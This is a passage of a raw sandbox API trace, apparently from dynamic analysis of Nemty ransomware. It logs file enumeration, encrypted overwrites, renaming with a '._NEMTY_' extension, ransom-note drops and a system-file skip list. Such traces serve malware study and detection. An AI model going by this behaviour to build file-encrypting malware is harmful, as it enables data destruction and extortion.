nNumberOfBytesToRead=0x14750, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x14750, lpOverlapped=0x0) returned 1 [0189.751] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.751] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x14750, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x14750, lpOverlapped=0x0) returned 1 [0189.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0189.751] SetFilePointer (in: hFile=0x320, lDistanceToMove=83800, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x14758 [0189.751] WriteFile (in: hFile=0x320, lpBuffer=0x63440c0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440c0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0189.751] CloseHandle (hObject=0x320) returned 1 [0189.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6344230 [0189.751] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0189.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0189.751] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0189.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0189.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0189.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6344308 [0189.752] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x63443e0 [0189.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344308 | out: hHeap=0x4f90000) returned 1 [0189.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0189.752] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\StandardBusiness.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\standardbusiness.pdf._nemty_kgobjgd_")) returned 1 [0189.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443e0 | out: hHeap=0x4f90000) returned 1 [0189.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344230 | out: hHeap=0x4f90000) returned 1 [0189.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0189.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440c0 | out: hHeap=0x4f90000) returned 1 [0189.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0189.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0189.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.752] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.752] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24a389b0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x24a389b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x24a389b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0189.753] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0189.753] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0189.753] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0189.753] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0189.753] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0189.753] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0189.753] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0189.753] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0189.753] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0189.753] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0189.753] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0189.753] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0189.753] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0189.753] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0189.753] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0189.753] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0189.753] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0189.753] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0189.753] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0189.753] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0189.753] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0189.753] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.753] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0189.753] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.753] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0189.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.753] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0189.753] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0189.753] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.753] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0189.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0189.753] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.753] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.754] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0189.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.754] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0189.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0189.754] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0189.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.754] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0189.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0189.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6343fe8 [0189.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404f8 | out: hHeap=0x4f90000) returned 1 [0189.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.754] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24a389b0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x24a389b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x24a389b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0189.754] FindClose (in: hFindFile=0x3423b30 | out: hFindFile=0x3423b30) returned 1 [0189.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340250 | out: hHeap=0x4f90000) returned 1 [0189.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0189.754] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8064c800, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="SLV", cAlternateFileName="")) returned 1 [0189.754] lstrcmpiW (lpString1="SLV", lpString2=".") returned 1 [0189.754] lstrcmpiW (lpString1="SLV", lpString2="..") returned 1 [0189.754] lstrcmpiW (lpString1="SLV", lpString2="...") returned 1 [0189.754] lstrcmpiW (lpString1="SLV", lpString2="windows") returned -1 [0189.754] lstrcmpiW (lpString1="SLV", lpString2="$RECYCLE.BIN") returned 1 [0189.754] lstrcmpiW (lpString1="SLV", lpString2="rsa") returned 1 [0189.754] lstrcmpiW (lpString1="SLV", lpString2="NTDETECT.COM") returned 1 [0189.754] lstrcmpiW (lpString1="SLV", lpString2="ntldr") returned 1 [0189.754] lstrcmpiW (lpString1="SLV", lpString2="MSDOS.SYS") returned 1 [0189.754] lstrcmpiW (lpString1="SLV", lpString2="IO.SYS") returned 1 [0189.754] lstrcmpiW (lpString1="SLV", lpString2="boot.ini") returned 1 [0189.754] lstrcmpiW (lpString1="SLV", lpString2="boot.ini") returned 1 [0189.754] lstrcmpiW (lpString1="SLV", lpString2="AUTOEXEC.BAT") returned 1 [0189.754] lstrcmpiW (lpString1="SLV", lpString2="ntuser.dat") returned 1 [0189.755] lstrcmpiW (lpString1="SLV", lpString2="desktop.ini") returned 1 [0189.755] lstrcmpiW (lpString1="SLV", lpString2="CONFIG.SYS") returned 1 [0189.755] lstrcmpiW (lpString1="SLV", lpString2="RECYCLER") returned 1 [0189.755] lstrcmpiW (lpString1="SLV", lpString2="BOOTSECT.BAK") returned 1 [0189.755] lstrcmpiW (lpString1="SLV", lpString2="bootmgr") returned 1 [0189.755] lstrcmpiW (lpString1="SLV", lpString2="programdata") returned 1 [0189.755] lstrcmpiW (lpString1="SLV", lpString2="appdata") returned 1 [0189.755] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SLV", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0189.755] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SLV", cchWideChar=3, lpMultiByteStr=0x653e550, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SLV", lpUsedDefaultChar=0x0) returned 3 [0189.755] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SLV", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0189.755] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SLV", cchWideChar=3, lpMultiByteStr=0x653e550, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SLV", lpUsedDefaultChar=0x0) returned 3 [0189.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0189.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340240 [0189.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0189.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340338 | out: hHeap=0x4f90000) returned 1 [0189.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340338 [0189.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0189.755] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0189.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.755] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0189.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63403f0 [0189.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63404b8 [0189.755] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0189.755] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0189.778] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404b8 | out: hHeap=0x4f90000) returned 1 [0189.778] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.779] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e500, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e500*=0xef8, lpOverlapped=0x0) returned 1 [0189.779] CloseHandle (hObject=0x2f0) returned 1 [0189.779] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0189.779] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340338 | out: hHeap=0x4f90000) returned 1 [0189.779] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340338 [0189.779] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403f0 [0189.780] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63404a8 [0189.780] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0189.780] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0189.780] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.780] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0189.780] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.780] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.780] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0189.780] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0189.780] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63440b0 [0189.780] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0189.780] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0189.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0189.781] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0189.781] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e1c0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e1c0*=0xef8, lpOverlapped=0x0) returned 1 [0189.781] CloseHandle (hObject=0x2f0) returned 1 [0189.782] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0189.782] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0189.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63404a8 [0189.782] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\*.*", lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x24c27b90, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x24c27b90, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423b30 [0189.782] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0189.782] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x24c27b90, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x24c27b90, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0189.782] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0189.782] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0189.782] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e146, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0189.782] lstrcmpiW (lpString1="Dynamic.pdf", lpString2=".") returned 1 [0189.782] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="..") returned 1 [0189.782] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="...") returned 1 [0189.782] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="windows") returned -1 [0189.782] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="$RECYCLE.BIN") returned 1 [0189.782] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="rsa") returned -1 [0189.782] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="NTDETECT.COM") returned -1 [0189.782] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="ntldr") returned -1 [0189.782] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="MSDOS.SYS") returned -1 [0189.782] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="IO.SYS") returned -1 [0189.782] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="boot.ini") returned 1 [0189.782] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="boot.ini") returned 1 [0189.782] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0189.782] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="ntuser.dat") returned -1 [0189.782] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="desktop.ini") returned 1 [0189.782] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="CONFIG.SYS") returned 1 [0189.782] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="RECYCLER") returned -1 [0189.782] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="BOOTSECT.BAK") returned 1 [0189.782] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="bootmgr") returned 1 [0189.782] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="programdata") returned -1 [0189.782] lstrcmpiW (lpString1="Dynamic.pdf", lpString2="appdata") returned 1 [0189.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0189.783] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0189.783] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, 